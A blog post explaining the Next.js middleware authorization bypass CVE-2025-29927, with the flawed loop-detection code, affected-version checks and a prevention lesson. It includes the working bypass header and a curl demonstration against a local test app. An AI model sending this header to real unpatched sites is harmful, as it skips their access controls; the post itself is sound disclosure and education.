Logo of Stack Auth
Investigating CVE-2025-29927: Authorization Bypass in Next.js Middleware

Investigating CVE-2025-29927: Authorization Bypass in Next.js Middleware

On March 21st, 2025, two security researchers responsibly disclosed a critical security vulnerability in Next.js titled CVE-2025-29927: Authorization Bypass in Next.js Middleware. In essence, it allows an attacker to bypass middlewares entirely.

The Next.js team responded quickly and released v14.2.25 and v15.2.3 to address the issue. Still, this is a severe vulnerability, and if you're using Next.js you should probably be aware of what it means for you.

Note that this is an issue in Next.js, not Stack Auth — this post is about the attack and how it happened. If you believe you might be affected, you should stop reading right now and instead follow the steps in the security disclosure.

The attack

In essence, every time a Next.js middleware handles a request, the x-middleware-subrequest header is added to any outgoing requests it makes. So, if you call an external API from a middleware, the header will be appended to the request to that API.

Now, assumably the reason they do this is to detect infinite loops. Some users may write code like this:

export default function middleware(request: NextRequest) {
  // recursively calls itself forever
  await fetch(request.url);
}

Which would just loop forever and eat up all your compute credits. So, the server contains a check to prevent middleware from calling itself 5 or more times:

// next/src/server/web/sandbox/sandbox.ts
// (slightly modified for brevity)
const subrequests = params.request.headers[`x-middleware-subrequest`].split(':');
const depth = subrequests.reduce(
  (acc, curr) => (curr === pathToMiddlewareFile ? acc + 1 : acc),
  0
);
if (depth >= 5) {
  return callRouteWithoutMiddleware();
}

Do you see the issue here? It's easy with hindsight bias! If a malicious actor just pretends to be calling the middleware recursively for the fifth time, they can bypass it entirely. All they need is a header that looks like this:

x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware

Note that, unlike what some people are claiming online, other values for the x-middleware-subrequest header are not enough on Next.js v15. It specifically needs to repeat the middleware path at least 5 times.

We can easily demonstrate the issue on Next.js 15.2.2. Let's add the following middleware that sets a header, and a route that simply returns it:

// src/middleware.ts
export default function middleware(request: NextRequest) {
  request.headers.set("x-my-custom-header", "Hello, world!");
  return NextResponse.next({ request });
}

// src/app/test/route.ts
export default function GET(request: NextRequest) {
  return NextResponse.json({
    message: request.headers.get("x-my-custom-header") ?? "Middleware skipped. Exploited!"
  });
}

With an HTTP client, adding our malicious header makes Next.js bypass the middleware:

curl http://localhost:3000/test
# => { "message": "Hello, world!" }

curl -H "x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware" http://localhost:3000/test
# => { "message": "Middleware skipped. Exploited!" }

There we go!

Am I affected?

If you use page-level protection (in Stack Auth, <get|use>User({or: "redirect"})), you are not affected. If you instead only protect in your middleware.ts, you may be affected. This applies to any auth provider.

Specifically, you may be affected if ALL of the following are true:

  • You are using Next.js
  • You are using middleware to protect pages
  • You do not check the user auth inside the pages or components you are protecting (for example with Stack Auth's <get|use>User({or: "redirect"}))
  • You are not using Vercel for deployment (or another platform that has patched the issue)
  • You are on a Next.js version older than 14.2.25 (Next.js 14) or 15.2.3 (Next.js 15)

Again, if you think you might be affected, follow the steps in the disclosure. Stack Auth's Next.js server is not affected (both self-hosted and in the cloud).

How could it have been prevented?

You could just say "write better code" or "don't trust unsanitized headers", but that doesn't really help. Humans make mistakes!

To be more useful, this "infinite loop check" is essentially detecting an error condition, and in error conditions it's almost always better to throw an error instead of continuing with what seems like "reasonable behavior". An error is easy to detect and debug, whereas unexpected behavior is hard to track down. What is "reasonable" depends heavily on the context!


Anything else I missed? Let me know on X/Twitter or Bluesky.